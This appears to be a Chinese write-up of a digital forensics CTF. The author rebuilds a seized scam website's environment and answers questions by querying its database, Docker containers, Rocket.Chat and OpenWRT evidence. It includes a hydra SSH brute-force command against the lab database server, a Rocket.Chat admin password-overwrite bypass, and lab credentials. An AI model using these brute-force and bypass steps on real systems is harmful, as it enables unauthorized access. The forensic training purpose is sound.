在Chrome浏览器保存的密码中有(火眼自动解密):

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第411张

关键词搜索:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第412张

工资表是加密盘中名单.xlsx文件,使用passware password recovery kit forensic进行字典暴力破解可得

解密表格得到:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第413张

开始复原,打开数据库虚拟机

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第414张

宝塔里写的数据库位置ip是192.168.8.142:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第415张

因此使用hydra进行爆破:

hydra -l root -P commonPwd.txt ssh://192.168.8.142

得到数据库服务器密码hl@7001

登录后发现没有mysql:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第416张

但是有docker,其中发现mysql镜像:

systemctl start docker
docker ps -a
docker start 9bf1cecec395

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第417张

成功连接,得到账号密码使用navicat连接

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第418张

ji-mei
JnzssCCsp2NCpcjA

sys_user表中有:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第419张

此题开始需要完整重建网站,重构指南在之前Windows机器分析中得到“运维笔记”:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第420张

按步骤来:

1.检查ruo-yi配置中mysql连接语句:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第421张

localhost改为192.168.8.142,再把密码改成JnzssCCsp2NCpcjA

jar xf ruoyi-admin.jar BOOT-INF/classes/application-druid.yml
vi BOOT-INF/classes/application-druid.yml
jar uf ruoyi-admin.jar BOOT-INF/classes/application-druid.yml

2.检查ssl

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第422张

jar xf ruoyi-admin.jar BOOT-INF/classes/application-druid.yml
vi BOOT-INF/classes/application-druid.yml
jar uf ruoyi-admin.jar BOOT-INF/classes/application-druid.yml

3.检查redis

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第423张

redis修改localhost为127.0.0.1

jar xf ruoyi-admin.jar BOOT-INF/classes/application.yml
vi BOOT-INF/classes/application.yml
jar uf ruoyi-admin.jar BOOT-INF/classes/application.yml

4.定时报错问题

修改Sys_job

0 0/2 * * * ?
秒: 0 → 每分鐘的第0秒触发。
分钟: 0/2 → 从第0分钟开始,每隔2分钟触发一次(即0,2,4,...,58分钟)。
其他字段: * 表示“任意值”,? 表示“不指定星期几”。
总体含义: 每两分钟运行一次,精确在偶数分钟的0秒(如00:00:00, 00:02:00等)。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第424张

5.登录受限:靶机搭建在本地,可以不用修改

尝试运行:

java -jar /webapp/ruoyi-admin.jar

访问:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第425张

成功,在数据库中修改admin密码:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第426张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第427张

成功登录:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第428张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第429张

总共有877页用户

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第430张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第431张

根据手机检材聊天记录可知用户账号为lu123456

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第432张

查看受害人的账单流水即可:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第433张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第434张

资金统计中有:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第435张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第436张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第437张

重构了半天环境的结局……

不想做了,后边WP来自(第四届FIC线上赛,官方复盘在这里!、2024第四届FIC初赛Writeup | ZhangZ-Blog)

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第438张

docker -v
docker version

由第13题可继续查看 Docker 对象的详细信息

docker inspect 9bf1cecec395

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第439张

同理由13题在数据库服务器中可查看

docker images
 A. 2024/3/13 12:15:23
 B. 2024/3/13 20:15:23
 C. 2024/3/14 00:15:23
 D. 2024/3/13 08:15:23
docker inspect 9bf1cecec395

默认时间是UTC,需要+8

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第440张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第441张

使用SQL语句进行查询,群邀请表查询邀请人数最多的用户。

SELECT inviter_id, COUNT(*) AS invite_count
FROM app_group_apply
WHERE status = 1
GROUP BY inviter_id
ORDER BY invite_count DESC
LIMIT 10;

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第442张

查询该用户信息,命令如下:

SELECT * from app_user_info WHERE id = 53576061

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第443张

使用命令查看红包流水表查询抢得最多红包金额的用户。

SELECT user_id, SUM(money) as total_money
FROM app_grop_redpacket_member
GROUP BY user_id ORDER BY total_money desc;
SELECT * from app_user_info WHERE id = 90671142

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第444张

查询该用户信息,命令如下:

SELECT * from app_user_info WHERE id = 90671142

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第445张

使用查询语句查询得到总额(数据库中备注信息,有说明status=3为提现成功)。

SELECT SUM(amount) FROM `app_user_withdraw` WHERE `status` = 3

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第446张

rocketchat的后台地址是:http://192.168.8.128:3000/home

esxi得到ip,然后默认端口是3000

账号密码在Windows里面

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第447张

admin@admin.com
Zhao

rocketchat后台登录成功,聊天中第三个是bot

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第448张

使用linux命令查看docker容器监听的端口即可

docker exec -it 9 /bin/bash
netstate -anpt

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第449张

由31题可知

admin@admin.com

navicat连接后可以看到服务器版本为5.0.24

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第450张

登录后查看设置-文件上传

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第451张

 A. 2024/3/14 8:18:54
 B. 2024/3/14 8:19:54
 C. 2024/3/14 8:17:54
 D. 2024/3/14 8:15:54

Rocket绕密:登录界面点击注册。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第452张

注册成功后,用你注册的密码替换admin的密码即可。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第453张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第454张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第455张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第456张

 A.2024/3/15 15:00:00-16:00:00
 B.2024/3/15 16:00:00-17:00:00
 C.2024/3/15 17:00:00-18:00:00
 D.2024/3/15 18:00:00-19:00:00

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第457张

根据手机部分题目可知未抓捕的重要人员为老苏,查看该账号的信息可得。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第458张

OpenWRT 是一个专门为路由器嵌入式设备设计的开源 Linux 操作系统

简单讲,它就像是给你的路由器装了一个小型、可定制的 Linux 系统,让原本只能基础上网的路由器,变得超级强大,比如可以:

  • 自己装各种软件(像安装 Linux 程序一样)
  • 支持 VPN
  • 精细控制防火墙、流量管理(QoS)
  • 变成广告屏蔽器、下载机、小型服务器(NAS)
  • 更灵活地管理无线信号、中继、Mesh 网络
  • 进行系统级别的安全加固

OpenWRT的登录密码在windows浏览器保存(详见检材3-计算机部分第17题)

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第459张

账密在这里

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第460张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第461张

静态分析网卡配置文件或者在页面配置中可以查看:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第462张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第463张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第464张

docker version

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第465张

服务-NasTools内可发现:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第466张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第467张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第468张

根据配置文件,第一个不是节点所以54-1=53

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第469张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第470张